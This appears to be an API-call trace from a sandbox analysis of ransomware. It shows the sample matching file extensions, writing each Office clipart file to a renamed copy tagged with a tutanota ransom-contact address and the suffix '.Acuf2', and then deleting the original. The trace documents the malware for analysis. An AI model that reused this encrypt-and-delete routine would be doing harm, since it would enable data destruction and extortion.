	[0274.815] lstrlenW (lpString=".docx") returned 5
	[0274.815] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0274.815] lstrlenW (lpString=".pdf") returned 4
	[0274.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString=".xls") returned 4
	[0274.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.815] lstrlenW (lpString=".xlsx") returned 5
	[0274.815] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0274.815] lstrlenW (lpString=".ppt") returned 4
	[0274.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.815] lstrlenW (lpString=".zip") returned 4
	[0274.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.815] lstrlenW (lpString=".rar") returned 4
	[0274.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString=".bz2") returned 4
	[0274.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString=".7z") returned 3
	[0274.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.815] lstrlenW (lpString=".dbf") returned 4
	[0274.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.815] lstrlenW (lpString=".1cd") returned 4
	[0274.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63
	[0274.816] lstrlenW (lpString=".jpg") returned 4
	[0274.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.816] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=11108) returned 1
	[0274.816] CloseHandle (hObject=0x35c) returned 1
	[0274.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20
	[0274.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0274.816] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.816] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.817] GetLastError () returned 0x0
	[0274.817] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x2b64, lpOverlapped=0x0) returned 1
	[0274.828] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x2b70, lpOverlapped=0x0) returned 1
	[0274.829] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.829] WriteFile (in: hFile=0x28c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.829] SetEndOfFile (hFile=0x28c) returned 1
	[0274.829] CloseHandle (hObject=0x28c) returned 1
	[0274.829] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.829] SetEndOfFile (hFile=0x35c) returned 1
	[0274.831] CloseHandle (hObject=0x35c) returned 1
	[0274.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1
	[0274.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.986] lstrlenW (lpString=".doc") returned 4
	[0274.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.986] lstrlenW (lpString=".docx") returned 5
	[0274.986] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0274.986] lstrlenW (lpString=".pdf") returned 4
	[0274.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString=".xls") returned 4
	[0274.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.987] lstrlenW (lpString=".xlsx") returned 5
	[0274.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0274.987] lstrlenW (lpString=".ppt") returned 4
	[0274.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.987] lstrlenW (lpString=".zip") returned 4
	[0274.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.987] lstrlenW (lpString=".rar") returned 4
	[0274.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString=".bz2") returned 4
	[0274.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString=".7z") returned 3
	[0274.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.987] lstrlenW (lpString=".dbf") returned 4
	[0274.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.987] lstrlenW (lpString=".1cd") returned 4
	[0274.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63
	[0274.987] lstrlenW (lpString=".jpg") returned 4
	[0274.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.988] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2460) returned 1
	[0274.988] CloseHandle (hObject=0x36c) returned 1
	[0274.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20
	[0274.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.988] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.988] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0274.989] GetLastError () returned 0x0
	[0274.989] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x99c, lpOverlapped=0x0) returned 1
	[0275.006] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x9a0, lpOverlapped=0x0) returned 1
	[0275.007] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.007] WriteFile (in: hFile=0x29c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.007] SetEndOfFile (hFile=0x29c) returned 1
	[0275.007] CloseHandle (hObject=0x29c) returned 1
	[0275.007] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.007] SetEndOfFile (hFile=0x36c) returned 1
	[0275.009] CloseHandle (hObject=0x36c) returned 1
	[0275.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1
	[0275.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.049] lstrlenW (lpString=".doc") returned 4
	[0275.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.049] lstrlenW (lpString=".docx") returned 5
	[0275.049] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.049] lstrlenW (lpString=".pdf") returned 4
	[0275.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.049] lstrlenW (lpString=".xls") returned 4
	[0275.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.049] lstrlenW (lpString=".xlsx") returned 5
	[0275.049] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.049] lstrlenW (lpString=".ppt") returned 4
	[0275.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.049] lstrlenW (lpString=".zip") returned 4
	[0275.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.049] lstrlenW (lpString=".rar") returned 4
	[0275.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.049] lstrlenW (lpString=".bz2") returned 4
	[0275.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.049] lstrlenW (lpString=".7z") returned 3
	[0275.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.049] lstrlenW (lpString=".dbf") returned 4
	[0275.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.050] lstrlenW (lpString=".1cd") returned 4
	[0275.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63
	[0275.050] lstrlenW (lpString=".jpg") returned 4
	[0275.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.187] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4244) returned 1
	[0275.187] CloseHandle (hObject=0x394) returned 1
	[0275.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20
	[0275.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.201] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.201] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0275.201] GetLastError () returned 0x0
	[0275.201] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1094, lpOverlapped=0x0) returned 1
	[0275.213] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x10a0, lpOverlapped=0x0) returned 1
	[0275.214] ReadFile (in: hFile=0x28c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.214] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.214] SetEndOfFile (hFile=0x274) returned 1
	[0275.214] CloseHandle (hObject=0x274) returned 1
	[0275.214] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.214] SetEndOfFile (hFile=0x28c) returned 1
	[0275.216] CloseHandle (hObject=0x28c) returned 1
	[0275.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1
	[0275.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.217] lstrlenW (lpString=".doc") returned 4
	[0275.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.217] lstrlenW (lpString=".docx") returned 5
	[0275.217] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.217] lstrlenW (lpString=".pdf") returned 4
	[0275.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.217] lstrlenW (lpString=".xls") returned 4
	[0275.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.217] lstrlenW (lpString=".xlsx") returned 5
	[0275.217] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.218] lstrlenW (lpString=".ppt") returned 4
	[0275.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.218] lstrlenW (lpString=".zip") returned 4
	[0275.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.218] lstrlenW (lpString=".rar") returned 4
	[0275.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.218] lstrlenW (lpString=".bz2") returned 4
	[0275.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.218] lstrlenW (lpString=".7z") returned 3
	[0275.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.218] lstrlenW (lpString=".dbf") returned 4
	[0275.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.218] lstrlenW (lpString=".1cd") returned 4
	[0275.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63
	[0275.218] lstrlenW (lpString=".jpg") returned 4
	[0275.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.259] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.259] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0275.390] GetLastError () returned 0x0
	[0275.390] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1f1c, lpOverlapped=0x0) returned 1
	[0275.455] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1f20, lpOverlapped=0x0) returned 1
	[0275.456] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.456] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.456] SetEndOfFile (hFile=0x274) returned 1
	[0275.456] CloseHandle (hObject=0x274) returned 1
	[0275.456] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.456] SetEndOfFile (hFile=0x360) returned 1
	[0275.458] CloseHandle (hObject=0x360) returned 1
	[0275.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString=".doc") returned 4
	[0275.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString=".docx") returned 5
	[0275.459] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.459] lstrlenW (lpString=".pdf") returned 4
	[0275.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString=".xls") returned 4
	[0275.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.459] lstrlenW (lpString=".xlsx") returned 5
	[0275.459] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.459] lstrlenW (lpString=".ppt") returned 4
	[0275.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString=".zip") returned 4
	[0275.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.459] lstrlenW (lpString=".rar") returned 4
	[0275.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString=".bz2") returned 4
	[0275.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString=".7z") returned 3
	[0275.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString=".dbf") returned 4
	[0275.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString=".1cd") returned 4
	[0275.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63
	[0275.459] lstrlenW (lpString=".jpg") returned 4
	[0275.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.725] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4920) returned 1
	[0275.725] CloseHandle (hObject=0x220) returned 1
	[0275.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20
	[0275.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0275.725] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.725] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
